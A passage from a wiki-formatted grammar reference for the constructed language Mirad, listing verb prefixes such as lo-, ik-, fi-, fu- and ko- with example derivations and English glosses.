: Note 1:  The prefix '''gaw-''' before a consonant is pronounced like the ''gaw'' in the English word ''gawk''.  It is short for '''ga awa jod''' or '''gawa''' meaning ''one more time, again''.  If the &quot;re-&quot; word means ''to do something again'', then '''gaw-''' is used, eg. ''To reconvene'' ( = ''meet again'')....'''gawyanuper'''  If the sense of ''back'' is intended, than the prefix '''zoy-''' is used, eg. ''To return'' ( = ''come back'')....'''zoyuper'''. Both prefixes are used in the expression ''Come back again!''....'''Gawzoy-upu!'''.
: Note 2: The prefix '''zoy''' is followed by a hyphen to make it clear that the prepositon is '''zoy''', not '''zo''' and that the base verb is '''uper''' (''come''), not '''yuper''' (''to approach'').

:''Until we meet again'' or ''au revoir'' is expressed by '''Ju gawyanup.'''

=== Expressing ''de-, dis-, un-'' with '''lo-''' ===
: The prefix '''lo-''' reverses the semantics of a verb and is like English ''dis-'', ''de-'', or ''un-'', eg.:

::* '''sexer'''....''to build, construct'' → '''&lt;u&gt;lo&lt;/u&gt;sexer'''....''to &lt;u&gt;de&lt;/u&gt;stroy, &lt;u&gt;de&lt;/u&gt;construct''
::* '''anxer'''....''to unite'' → '''&lt;u&gt;lo&lt;/u&gt;anxer'''....''to &lt;u&gt;dis&lt;/u&gt;unite''
::* '''xer'''....''to do'' → '''&lt;u&gt;lo&lt;/u&gt;xer'''....''to &lt;u&gt;un&lt;/u&gt;do''

: Note the difference between '''o-''' and '''lo-'''.

::* '''odoparuwa'''....''&lt;u&gt;un&lt;/u&gt;armed'' (= ''not armed'')
::* '''lodoparuwa'''....''&lt;u&gt;dis&lt;/u&gt;armed'' (= from the verb '''lodoparuer'''....''to disarm'')

=== Expressing ''co-'' with '''yan-''' ===
: The prefix '''yan-'''....''together'' is used as the English ''co-'', eg.:

::* '''exer'''....''to operate'' → '''&lt;u&gt;yan&lt;/u&gt;exer'''....''to &lt;u&gt;co&lt;/u&gt;operate''
::* '''tamer'''....''to dwell'' → '''&lt;u&gt;yan&lt;/u&gt;tamer'''....''to &lt;u&gt;co&lt;/u&gt;habit''
::* '''napber'''....''to put in order'' → '''&lt;u&gt;yan&lt;/u&gt;napber'''....''to &lt;u&gt;co&lt;/u&gt;ordinate''

=== Making Verbs Completive with '''ik-''' ===
: Verbs can be made completive or perfective by prefixing them with '''ik-''' (''fully'').  Such verbs are comparable to phrasal verbs in English with ''up'' and other prepositions as in ''to eat up''.  Here are some examples in Mirad:
::* '''tojber'''....''to kill'' → '''iktojber'''....''to kill off, exterminate''
::* '''telier'''....''to eat'' → '''iktelier'''....''to eat up''
::* '''ujber'''....''to finish'' → '''ikujber'''....''to finish off/up''
::* '''gofler'''....''to rip'' → '''ikgofler'''....''to rip up''
::* '''drer'''....''to write'' → '''ikdrer'''....''to write down''
::* '''byexer'''....''to beat'' → '''ikbyexer'''....''to beat up''
::* '''agser'''....''to grow'' → '''ikagser'''....''to grow up''

=== Making Verbs Continuative with '''je-''' ===
: Verbs can be given a continuative nuance with the addition of the prefix '''je-''':
::* '''daler'''....''to talk'' → '''jedalar'''....''to go on talking, to blabber''
::* '''tejer'''....''to live'' → '''jetejer'''....''to go on living, to survive''
::* '''yexer'''....''to work'' → '''jeyexer'''....''to go on working, to keep working''
::* '''teaxer'''....''to look'' → '''jeteaxer'''....''to watch''
::* '''teexer'''....''to listen'' → '''jeteexer'''....''to keep listening, to pay attention''
::* '''duler'''....''to insist'' → '''jeduler'''....''to nag''

=== Making Verbs Inchoative with '''ij-''' ===
: Verbs can be given an inchoative nuance with the addition of the prefix '''ij-''':
::* '''texer'''....''to think'' → '''ijtexer'''....''to start to think''
::* '''ifier'''....''to enjoy'' → '''ijifier'''....''to start liking''
::* '''trer'''....''to know'' → '''ijtrer'''....''to get to know''
::* '''baxer'''....''to stir'' → '''ijbaxer'''....''to instigate''
::* '''byaxer'''....''to erect'' → '''ijbyaxer'''....''to establish, to institute''
::* '''dezer'''....''to perform'' → '''ijdezer'''....''to premier, to debut''
::* '''eser'''....''to exist'' → '''ijeser'''....''to come about''
::* '''kaxer'''....''to find'' → '''ijkaxer'''....''to invent''
::* '''magxer'''....''to burn'' → '''ijmagxer'''....''to kindle''
::* '''saxer'''....''to make'' → '''ijsaxer'''....''to create''
::* '''texer'''....''to think'' → '''ijtexer'''....''to conceive''
::* '''tuxer'''....''to teach'' → '''ijtuxer'''....''to initiate''
::* '''xeler'''....''to celebrate'' → '''ijxeler'''....''to inaugurate''

=== Making Verbs Terminative with '''uj-''' ===
: Verbs can be given a terminative nuance with the addition of the prefix '''uj-''':
::* '''telier'''....''to eat'' → '''ujtelier'''....''to finish eating''
::* '''dyeer'''....''to read'' → '''ujdyeer'''....''to finish reading''
::* '''ufteuder'''....''to complain'' → '''ujufteuder'''....''to quit carping''
::* '''aker'''....''to win'' → '''ujaker'''....''to succeed''
::* '''der'''....''to say'' → '''ujder'''....''to conclude''
::* '''gaber'''....''to add'' → '''ujgaber'''....''to append, to added at the end''
::* '''gyoxer'''....''to thin'' → '''ujgyoxer'''....''to taper''
::* '''kyeser'''....''to happen'' → '''ujkyeser'''....''to turn out''
::* '''oker'''....''to lose'' → '''ujoker'''....''to fail''

=== Giving Verbs a Nuance of Pleasure with '''if-''' ===
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll''
::* '''tuyuxer'''....''to finger'' → '''iftuyuxer'''....''to tickle''
::* '''teaxer'''....''to look'' → '''ifteaxer'''....''to ogle (voyeuristically)''
::* '''piper'''....''to sail'' → '''ifpiper'''....''to go cruising''
::* '''teuder'''....''to shout'' → '''ifteuder'''....''to laugh''
::* '''eker'''....''to play'' → '''ifeker'''....''to have fun''
::* '''abbaxer'''....''to pat'' → '''ifabbaxer'''....''to fondle, to caress''
::* '''axler'''....''to act'' → '''ifaxler'''....''to have fun''
::* '''bier'''....''to take'' → '''ifbier'''....''to embrace, to adopt, to foster''
::* '''buer'''....''to give'' → '''ifbuer'''....''to donate, to gift''
::* '''bikuer'''....''to care for'' → '''ifbikuer'''....''to foster''
::* '''bixer'''....''to pull'' → '''ifbixer'''....''to entice, to tempt, to seduce''
::* '''ebdaler'''....''to converse'' → '''ifebdaler'''....''to chitchat''
::* '''mimparer'''....''to go boating'' → '''ifmimparer'''....''to go yachting''
::* '''tayoxer'''....''to touch'' → '''iftayoxer'''....''to tickle, to titillate''
::* '''teaxer'''....''to look at'' → '''ifteaxer'''....''to ogle, to feast one's eyes on, to moon over''
::* '''telier'''....''to eat'' → '''iftelier'''....''to feast on''
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll, to jaunt, to promenade''

=== Giving Verbs a Nuance of Displeasure with '''uf-''' ===
::* '''tosier'''....''to feel'' → '''uftosier'''....''to get angry''
::* '''eker'''....''to play'' → '''ufeker'''....''to fight''
::* '''der'''....''to say'' → '''ufder'''....''to express displeasure''
::* '''aluer'''....''to exhale'' → '''ufaluer'''....''to huff''
::* '''daler'''....''to talk'' → '''ufdaler'''....''to rant''
::* '''teaxer'''....''to look at'' → '''ufteaxer'''....''to scorn, to disdain''
::* '''teuber'''....''to make an expression'' → '''ufteuber'''....''to frown''
::* '''teuder'''....''to shout'' → '''ufteuder'''....''to grouse, to gripe''

=== Giving Verbs a Nuance of Prohibition with '''of-''' ===
::* '''bier'''....''to take'' → '''ofbier'''....''to steal''
::* '''deler'''....''to declare'' → '''ofdeler'''....''to ban''
::* '''yeper'''....''to enter'' → '''ofyeper'''....''to intrude, break in''
::* '''zeyper'''....''to cross'' → '''ofzeyper'''....''to transgress, poach''
::* '''gelxer'''....''to copy'' → '''ofgelxer'''....''to pirate, plagiarize''
::* '''bekuluer'''....''to administer medicine'' → '''ofbekuluer'''....''to dope''
::* '''nuxuer'''....''to pay'' → '''ofnuxuer'''....''to bribe, pay off, suborn''

=== Giving Verbs a Nuance of Holiness with '''fya-''' ===
::* '''bexler'''....''to keep'' → '''fyabexler'''....''to enshrine''
::* '''buer'''....''to give'' → '''fyabuer'''....''to sacrifice''
::* '''der'''....''to say'' → '''fyader'''....''to bless''
::* '''daler'''....''to speak'' → '''fyadaler'''....''to preach, sermonize''
::* '''diler'''....''to request'' → '''fyadiler'''....''to pray''
::* '''deuzer'''....''to sing'' → '''fyadeuzer'''....''to chant''
::* '''ifrer'''....''to love dearly'' → '''fyaifrer'''....''to worship, adore''
::* '''jader'''....''to predict'' → '''fyajader'''....''to prophesy''
::* '''miluer'''....''to sprinkle'' → '''fyamiluer'''....''to sprinkle with holy water''
::* '''ojvader'''....''to promise'' → '''fyaojvader'''....''to swear''
::* '''xeler'''....''to practice'' → '''fyaxeler'''....''to celebrate''
::* '''koser'''....''to hide'' → '''fyakoser'''....''to go on a retreat, go into hermitage''
::* '''teazer'''....''perform a show'' → '''fyateazer'''....''to perform a miracle''

=== Giving Verbs a Nuance of Profanity with '''fyo-''' ===
::* '''der'''....''to say'' → '''fyoder'''....''to curse''
::* '''diler'''....''to request'' → '''fyodiler'''....''to conjure''
::* '''tyezer'''....''to perform magic'' → '''fyotezer'''....''to engage in black magic''
::* '''xer'''....''to do'' → '''fyoxer'''....''to sin''
=== Expressing Good Actions with '''fi-''' ===
::* '''agser'''....''to grow'' → '''fiagser'''....''to thrive, to flourish''
::* '''axler'''....''to act'' → '''fiaxler'''....''to behave well''
::* '''der'''....''to say'' → '''fider'''....''to praise''
::* '''deler'''....''to declare'' → '''fideler'''....''to approve''
::* '''datiber'''....''to host'' → '''fidatiber'''....''to welcome''
::* '''diber'''....''to manage'' → '''fidiber'''....''to husband''
::* '''doler'''....''to be silent'' → '''fidoler'''....''to be discrete''
::* '''duer'''....''to suggest'' → '''fiduer'''....''to recommend''
::* '''ebexler'''....''to interact'' → '''fiebexler'''....''to get along well''
::* '''exer'''....''to operate'' → '''fiexer'''....''to operate smoothly''
::* '''fer'''....''to want'' → '''fifer'''....''to mean well''
::* '''ijer'''....''to start'' → '''fiijer'''....''to get a good start''
::* '''nagser'''....''to measure'' → '''finagser'''....''to adapt''
::* '''napxer'''....''to arrange'' → '''finapxer'''....''to tidy up, to neaten''
::* '''ojfer'''....''to wish'' → '''fiojfer'''....''to wish well''
::* '''per'''....''to go'' → '''fiper'''....''to fare well, to prosper''
::* '''teaser'''....''to seem'' → '''fiteaser'''....''to look nice''
::* '''teaxer'''....''to look at'' → '''fiteaxer'''....''to admire''
::* '''tejer'''....''to live'' → '''fitejer'''....''to thrive''
::* '''teuder'''....''to shout'' → '''fiteuder'''....''to acclaim, to laud''
::* '''tosuer'''....''to make feel'' → '''fitosuer'''....''to exhilarate''
::* '''tujer'''....''to sleep'' → '''fitujer'''....''to sleep soundly''
::* '''yaker'''....''to expect'' → '''fiyaker'''....''to hope''
::* '''yuxer'''....''to help'' → '''fiyuxer'''....''to benefit''
::* '''xer'''....''to do'' → '''fixer'''....''to do well''

=== Expressing Bad Actions with '''fu-''' ===
::* '''axler'''....''to act'' → '''fuaxler'''....''to misbehave''
::* '''bekuer'''....''to treat'' → '''fubekuer'''....''to mistreat, to maltreat''
::* '''bexer'''....''to hold'' → '''fubexer'''....''to fumble''
::* '''bikuer'''....''to care for'' → '''fubikuer'''....''to neglect''
::* '''daler'''....''to talk'' → '''fudaler'''....''to speak ill of, to badmouth''
::* '''deler'''....''to declare'' → '''fudeler''''....''to denounce''
::* '''diber'''....''to manage'' → '''fudiber'''....''to mismanage, to maladminister''
::* '''doler'''....''to be quiet'' → '''fudoler'''....''to sulk''
::* '''dezgonuer'''....''to cast'' → '''fudezgonuer'''....''to miscast''
::* '''exer'''....''to function'' → '''fuexer'''....''to malfunction''
::* '''fer'''....''to want'' → '''fufer'''....''to wish ill''
::* '''fyiduer'''....''to advise'' → '''fufyiduer'''....''to ill-advise''
::* '''napxer'''....''to arrange'' → '''funapxer'''....''to mess up''
::* '''yevder'''....''to judge'' → '''fuyevder'''....''to critique negatively''
::* '''yuxer'''....''to help'' → '''fuyuxer'''....''to abuse''

=== Expressing More Intense Actions with '''az-''' ===
::* '''abbixer'''....''to attract'' → '''&lt;u&gt;az&lt;/u&gt;abbixer'''....''to infatuate''
::* '''aluer'''....''to blow'' → '''&lt;u&gt;az&lt;/u&gt;aluer'''....''to huff''
::* '''basrer'''....''to shake'' → '''&lt;u&gt;az&lt;/u&gt;basrer'''....''to convulse''
::* '''bexer'''....''to hold'' → '''&lt;u&gt;az&lt;/u&gt;bexer'''....''to clutch''
::* '''birer'''....''to grab''' → '''&lt;u&gt;az&lt;/u&gt;birer'''....''to seize''
::* '''buxer'''....''to push''' → '''&lt;u&gt;az&lt;/u&gt;buxer'''....''to prod''
::* '''byexer'''....''to strike'' → '''&lt;u&gt;az&lt;/u&gt;byexer'''....''to stomp, to hit hard''
::* '''der'''....''to say'' → '''&lt;u&gt;az&lt;/u&gt;der'''....''to emphasize''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;az&lt;/u&gt;duer'''....''to urge''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;az&lt;/u&gt;dizeuder'''....''to guffaw''
::* '''fer'''....''to want'' → '''&lt;u&gt;az&lt;/u&gt;fer'''....''to crave''
::* '''fuyevder'''....''to criticize'' → '''&lt;u&gt;az&lt;/u&gt;fuyevder'''....''to lambaste''
::* '''yujber'''....''to close'' → '''&lt;u&gt;az&lt;/u&gt;yujber'''....''to lock''

=== Expressing Less Intense Actions with '''oz-''' ===
::* '''der'''....''to utter'' → '''&lt;u&gt;oz&lt;/u&gt;der'''....''to whisper''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;oz&lt;/u&gt;duer'''....''to hint''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;oz&lt;/u&gt;dizeuder'''....''to chuckle''
::* '''uvteuder'''....''to moan'' → '''&lt;u&gt;oz&lt;/u&gt;uvteuder'''....''to whimper''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;oz&lt;/u&gt;tyoper'''....''to limp''
=== Expressing ''pre-, fore-'' with '''ja-''' ===
::* '''der'''....''to tell'' → '''&lt;u&gt;ja&lt;/u&gt;der'''....''to foretell, predict''
::* '''teater'''....''to see'' → '''&lt;u&gt;ja&lt;/u&gt;teater'''....''to foresee, preview''
::* '''ter'''....''to know'' → '''&lt;u&gt;ja&lt;/u&gt;ter'''....''to presage, have foreknowledge of''
::* '''yever'''....''to judge'' → '''&lt;u&gt;ja&lt;/u&gt;yever'''....''to prejudge''
::* '''juder'''....''to date'' → '''&lt;u&gt;ja&lt;/u&gt;juder'''....''to antedate''
=== Expressing ''post-, after-'' with '''jo-''' ===
::* '''juder'''....''to date'' → '''&lt;u&gt;jo&lt;/u&gt;juder'''....''to postdate''
::* '''texer'''....''to think'' → '''&lt;u&gt;jo&lt;/u&gt;texer'''....''to reflect on, review''
::* '''uvder'''....''to express sadness'' → '''&lt;u&gt;jo&lt;/u&gt;uvder'''....''to mourn, regret''
::* '''ibler'''....''to obtain'' → '''&lt;u&gt;jo&lt;/u&gt;ibler'''....''to inherit''

=== Expressing ''excessively'' with '''gra-''' ===
::* '''telier'''....''to eat'' → '''&lt;u&gt;gra&lt;/u&gt;telier'''....''to overeat''
::* '''fer'''....''to want'' → '''&lt;u&gt;gra&lt;/u&gt;fer'''....''to covet''
::* '''der'''....''to say'' → '''&lt;u&gt;gra&lt;/u&gt;der'''....''to exaggerate''
::* '''daler'''....''to talk'' → '''&lt;u&gt;gra&lt;/u&gt;daler'''....''to yammer''

=== Expressing ''inadequately'' with '''gro-''' ===
::* '''fyinder'''....''to value'' → '''&lt;u&gt;gro&lt;/u&gt;fyinder'''....''to underestimate''
::* '''mageler'''....''to cook'' → '''&lt;u&gt;gro&lt;/u&gt;mageler'''....''to undercook''
::* '''xaer'''....''to perform'' → '''&lt;u&gt;gro&lt;/u&gt;xaer'''....''to underperform''

=== Expressing ''counter-, contra-'' with '''ov-''' or '''oyv-''' ===
::* '''axler'''....''to act''  → '''&lt;u&gt;ov&lt;/u&gt;axler'''....''to counteract''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ov&lt;/u&gt;apyexer'''....''to counterattack''
::* '''daler'''....''to speak'' → '''&lt;u&gt;ov&lt;/u&gt;daler'''....''to oppose''
::* '''der'''....''to say'' → '''&lt;u&gt;oyv&lt;/u&gt;der'''....''to contradict''
::* '''ber'''....''to put'' → '''&lt;u&gt;oyv&lt;/u&gt;ber'''....''to reverse, overturn''
::* '''texer'''....''to think''  → '''&lt;u&gt;oyv&lt;/u&gt;texer'''....''to contest, disagree''
::* '''per'''....''to go'' → '''&lt;u&gt;oyv&lt;/u&gt;per'''....''to contravene''
=== Expressing ''on behalf, for'' with '''av-''' ===
::* '''axler'''....''to act'' → '''&lt;u&gt;av&lt;/u&gt;axler'''....''to act on behalf of''
::* '''daler'''....''to speak'' → '''&lt;u&gt;av&lt;/u&gt;daler'''....''to advocate, speak on behalf of''
::* '''dyundrer'''....''to sign'' → '''&lt;u&gt;av&lt;/u&gt;dyundrer'''....''to endorse''

=== Making Verbs Reflexive with '''ut-''' (''self-, auto-'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;ut&lt;/u&gt;tojber'''....''to commit suicide''
::* '''vyovider'''....''to flatter'' → '''&lt;u&gt;ut&lt;/u&gt;vyovider'''....''to flatter oneself''
::* '''zaypuxwer'''....''to be propelled'' → '''&lt;u&gt;ut&lt;/u&gt;zaypuxwer'''....''to be self-propelled''
::* '''fider'''....''to praise'' → '''&lt;u&gt;ut&lt;/u&gt;fider'''....''to brag''
::* '''gober'''....''to decrement'' → '''&lt;u&gt;ut&lt;/u&gt;gober'''....''to autodecrement''
=== Making Verbs Reciprocal with '''hyuit-''' (''one another'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;hyuit&lt;/u&gt;tojber'''....''to kill one another''
::* '''ifer'''....''to love'' → '''&lt;u&gt;hyuit&lt;/u&gt;ifer'''....''to love one another''

=== Expressing ''inter-, intra-'' with '''eb-''' (''between'') or '''eyb-''' (''among'') ===
::* '''tadier'''....''to marry'' → '''&lt;u&gt;eb&lt;/u&gt;tadier'''....''to intermarry''
::* '''zyaber'''....''to spread'' → '''&lt;u&gt;eb&lt;/u&gt;zyaber'''....''to intersperse''
::* '''vyexer'''....''to relate'' → '''&lt;u&gt;eb&lt;/u&gt;vyexer'''....''to interrelate''
::* '''mulxer'''....''to materialize'' → '''&lt;u&gt;eyb&lt;/u&gt;mulxer'''....''to mix''
::* '''xer'''....''to do'' → '''&lt;u&gt;eyb&lt;/u&gt;xer'''....''to interest, to involve''

=== Expressing the Opposite of an Action with '''o-''' (''un-'') ===
::* '''bexler'''....''to keep'' → '''&lt;u&gt;o&lt;/u&gt;bexler'''....''to release, let go of''
::* '''aynser'''....''to integrate'' → '''&lt;u&gt;o&lt;/u&gt;aynser'''....''to disintegrate, to decay''
::* '''beler'''....''to carry'' → '''&lt;u&gt;o&lt;/u&gt;beler'''....''to drop''
::* '''bier'''....''to take'' → '''&lt;u&gt;o&lt;/u&gt;bier'''....''to leave, relinquish''
::* '''boser'''....''to be quiet'' → '''&lt;u&gt;o&lt;/u&gt;boser'''....''to be upset''
::* '''drer'''....''to write'' → '''&lt;u&gt;o&lt;/u&gt;drer'''....''to erase''

::&lt;small&gt;Note: If the base verb already begins with the negative prefix '''o-''', then the prefix is changed to '''ol-''', eg. '''obexler'''....''to release'' → '''&lt;u&gt;ol&lt;/u&gt;obexwa'''....''to unrelease''  &lt;/small&gt;

=== Expressing a Public or Official Action with '''do-''' ===
:: '''Do-''' is a stub for '''dot''' (''society'').

::* '''afder'''....''to allow'' → '''&lt;u&gt;do&lt;/u&gt;afder'''....''to authorize''
::* '''bier'''....''to take'' → '''&lt;u&gt;do&lt;/u&gt;bier'''....''to conquer, take over, take control of''
::* '''tojber'''....''to kill'' → '''&lt;u&gt;do&lt;/u&gt;tojber'''....''to execute''
::* '''buer'''....''to give'' → '''&lt;u&gt;do&lt;/u&gt;buer'''....''to dedicate''
::* '''daler'''....''to speak'' → '''&lt;u&gt;do&lt;/u&gt;daler'''....''to orate, speak in public''
::* '''deler'''....''to declare'' → '''&lt;u&gt;do&lt;/u&gt;deler'''....''to announce''
::* '''drer'''....''to write'' → '''&lt;u&gt;do&lt;/u&gt;drer'''....''to publicize, report''
::* '''direr'''....''to demand'' → '''&lt;u&gt;do&lt;/u&gt;direr'''....''to mandate, to dictate''
::* '''drer'''....''to write'' → '''&lt;u&gt;do&lt;/u&gt;drer'''....''to publicize''
::* '''drurer'''....''to print'' → '''&lt;u&gt;do&lt;/u&gt;drurer'''....''to publish''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;do&lt;/u&gt;duer'''....''to propose, to move''
::* '''durer'''....''to order'' → '''&lt;u&gt;do&lt;/u&gt;durer'''....''to decree''
::* '''dyeder'''....''to recite'' → '''&lt;u&gt;do&lt;/u&gt;dyeder'''....''to declaim''
::* '''dyeer'''....''to read'' → '''&lt;u&gt;do&lt;/u&gt;dyeer'''....''to lecture''
::* '''ebdaler'''....''to discuss'' → '''&lt;u&gt;do&lt;/u&gt;ebdaler'''....''to deliberate''
::* '''eber'''....''to block'' → '''&lt;u&gt;do&lt;/u&gt;eber'''....''to enjoin, to restrain''
::* '''fuxer'''....''to do bad'' → '''&lt;u&gt;do&lt;/u&gt;fuxer'''....''to commit a crime''
::* '''kebier'''....''to choose'' → '''&lt;u&gt;do&lt;/u&gt;kebier'''....''to elect''
::* '''lonapxer'''....''to mess up'' → '''&lt;u&gt;do&lt;/u&gt;lonapxer'''....''to riot''
::* '''naxgaxer'''....''to raise prices'' → '''&lt;u&gt;do&lt;/u&gt;naxgaxer'''....''to auction off''
::* '''nixbuer'''....''to sell'' → '''&lt;u&gt;do&lt;/u&gt;nixbuer'''....''to hawk''

=== Giving Verbs a Nuance of Truth with '''vya-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vya&lt;/u&gt;der'''....''to avow, to be frank''
::* '''ber'''....''to set, put'' → '''&lt;u&gt;vya&lt;/u&gt;ber'''....''to control''
::* '''bier'''....''to take'' → '''&lt;u&gt;vya&lt;/u&gt;bier'''....''to postulate''
::* '''boler'''....''to support'' → '''&lt;u&gt;vya&lt;/u&gt;boler'''....''to prove''
::* '''duder'''....''to answer'' → '''&lt;u&gt;vya&lt;/u&gt;duder'''....''to solve''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;vya&lt;/u&gt;duer'''....''to allege''
::* '''nadxer'''....''to line up'' → '''&lt;u&gt;vya&lt;/u&gt;nadxer'''....''to align''
::* '''nagxer'''....''to measure'' → '''&lt;u&gt;vya&lt;/u&gt;nagxer'''....''to fit''
::* '''napxer'''....''to arrange, order'' → '''&lt;u&gt;vya&lt;/u&gt;napxer'''....''to adjust''
::* '''nazaxer'''....''to evaluate'' → '''&lt;u&gt;vya&lt;/u&gt;nazaxer'''....''to corroborate''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;vya&lt;/u&gt;kexer'''....''to investigate''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vya&lt;/u&gt;tuer'''....''to advise''

=== Giving Verbs of Nuance of Falseness with '''vyo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vyo&lt;/u&gt;der'''....''to lie, to misstate''
::* '''tester'''....''to understand'' → '''&lt;u&gt;vyo&lt;/u&gt;tester'''....''to misunderstand''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vyo&lt;/u&gt;tuer'''....''to misinform, to deceive''
::* '''xer'''....''to do'' → '''&lt;u&gt;vyo&lt;/u&gt;xer'''....''to do wrong, fail, misdo''
::* '''yuxler'''....''to serve'' → '''&lt;u&gt;vyo&lt;/u&gt;yuxler'''....''to betray, to serve unfaithfully''
=== Making Verbs Positive with '''va-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;va&lt;/u&gt;der'''....''to affirm''
::* '''texer'''....''to think'' → '''&lt;u&gt;va&lt;/u&gt;texer'''....''to believe''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;va&lt;/u&gt;yeker'''....''to presume''
::* '''bier'''.....''to take'' → '''&lt;u&gt;va&lt;/u&gt;bier'''....''to accept''
=== Making Verbs Negative with '''vo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vo&lt;/u&gt;der'''....''to deny''
::* '''texer'''....''to think'' → '''&lt;u&gt;vo&lt;/u&gt;texer'''....''to doubt''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;vo&lt;/u&gt;yeker'''....''to rule out''
::* '''bier'''.....''to take'' → '''&lt;u&gt;vo&lt;/u&gt;bier'''....''to reject''
=== Making Verbs Suppositional with '''ve-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;ve&lt;/u&gt;der'''....''to conjecture''
::* '''texer'''....''to think'' → '''&lt;u&gt;ve&lt;/u&gt;texer'''....''to suppose, hypothesize''
::* '''yovder'''....''to blame'' → '''&lt;u&gt;ve&lt;/u&gt;yovder'''....''to indict, accuse''
=== Speeding up Verbs with '''ig-''' ===
::* '''pier'''....''to leave'' → '''&lt;u&gt;ig&lt;/u&gt;pier'''....''to flee''
::* '''pyoser'''....''to drop'' → '''&lt;u&gt;ig&lt;/u&gt;pyoser'''....''to plummet''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ig&lt;/u&gt;tyoper'''....''to run''
::* '''yeper'''....''to enter'' → '''&lt;u&gt;ig&lt;/u&gt;yeper'''....''to rush in''
=== Slowing up Verbs with '''ug-''' ===
::* '''paser'''....''to move'' → '''&lt;u&gt;ug&lt;/u&gt;paser'''....''to amble''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ug&lt;/u&gt;teaxer'''....''to gaze''
::* '''ilper'''....''to flow'' → '''&lt;u&gt;ug&lt;/u&gt;ilper'''....''to trickle''
::* '''tilier'''....''to drink'' → '''&lt;u&gt;ug&lt;/u&gt;tilier'''....''to sip''
=== Expressing the Nuance of Suddenness with '''yok-''' ===
::* '''baxer'''....''to stir'' → '''&lt;u&gt;yok&lt;/u&gt;baxer'''....''to startle''
::* '''hihider'''....''to laugh'' → '''&lt;u&gt;yok&lt;/u&gt;hihider'''....''to burst out laughing''
::* '''teaser'''....''to appear'' → '''&lt;u&gt;yok&lt;/u&gt;teaser'''....''to suddenly appear''
::* '''yoktojer'''....''to die'' → '''&lt;u&gt;yok&lt;/u&gt;tojer'''....''to drop dead''
=== Expressing the Notion of Fixedness with '''kyo-''' ===
::* '''byaser'''....''to stand'' → '''&lt;u&gt;kyo&lt;/u&gt;byaser'''....''to stand still''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;kyo&lt;/u&gt;kexer'''....''to hound, stalk''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;kyo&lt;/u&gt;teaxer'''....''to stare, glare''
::* '''texer'''....''to think'' → '''&lt;u&gt;kyo&lt;/u&gt;texer'''....''to obsess with, fixate on''
=== Expression the Notion of Randomness or Chance with '''kye-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;kye&lt;/u&gt;der'''....''to guess, divine''
::* '''per'''....''to per'' → '''&lt;u&gt;kye&lt;/u&gt;per'''....''to fluctuate''
::* '''poper'''....''to travel'' → '''&lt;u&gt;kye&lt;/u&gt;poper'''....''to wander''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kye&lt;/u&gt;napxer'''....''to scramble, shuffle''
::* '''bier'''....''to take'' → '''&lt;u&gt;kye&lt;/u&gt;bier'''....''to select''
::* '''kaxer'''....''to find'' → '''&lt;u&gt;kye&lt;/u&gt;kaxer'''....''to discover, to find by chance''
::* '''vyabxer'''....''to check'' → '''&lt;u&gt;kye&lt;/u&gt;vabxer'''....''to spot check''

=== Expressing the Notion of Change with '''kya-''' ===
::* '''baser'''....''to make a move'' → '''&lt;u&gt;kya&lt;/u&gt;baser'''....''to shift''
::* '''sanxer'''....''to form'' → '''&lt;u&gt;kya&lt;/u&gt;sanxer'''....''to transform''
::* '''xer'''....''to do/make'' → '''&lt;u&gt;kya&lt;/u&gt;xer'''....''to change''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kya&lt;/u&gt;napxer'''....''to shuffle''
::* '''dyanxer'''....''to phrase'' → '''&lt;u&gt;kya&lt;/u&gt;dyanxer'''....''to paraphrase''
=== Expressing Covert Actions with '''ko-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ko&lt;/u&gt;ber'''....''to hide''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ko&lt;/u&gt;beler'''....''to smuggle''
::* '''bier'''....''to take'' → '''&lt;u&gt;ko&lt;/u&gt;bier'''....''to steal''
::* '''ebkyaxer'''....''to exchange'' → '''&lt;u&gt;ko&lt;/u&gt;ebkyaxer'''....''to traffic''
::* '''exer'''....''to operate'' → '''&lt;u&gt;ko&lt;/u&gt;exer'''....''to spy, operate under cover''
::* '''fler'''....''to wish for'' → '''&lt;u&gt;ko&lt;/u&gt;fler'''....''to covet, be jealous of''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ko&lt;/u&gt;apyexer'''....''to ambush, to sneak-attack''
::* '''loexer'''....''to destroy'' → '''&lt;u&gt;ko&lt;/u&gt;loexer'''....''to sabotage''
=== Expressing Actions with Intentionality with '''ke-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ke&lt;/u&gt;teaxer'''....''to scan''
::* '''vyaxer'''....''to prove'' → '''&lt;u&gt;ke&lt;/u&gt;vyaxer'''....''to experiment''
::* '''tier'''....''to learn'' → '''&lt;u&gt;ke&lt;/u&gt;tier'''....''to be interested in''
::* '''bier'''....''to take'' → '''&lt;u&gt;ke&lt;/u&gt;bier'''....''to choose''
::* '''pexer'''....''to catch'' → '''&lt;u&gt;ke&lt;/u&gt;pexer'''....''to hunt''

=== Expressing Lateral Actions with '''ku-''' ===
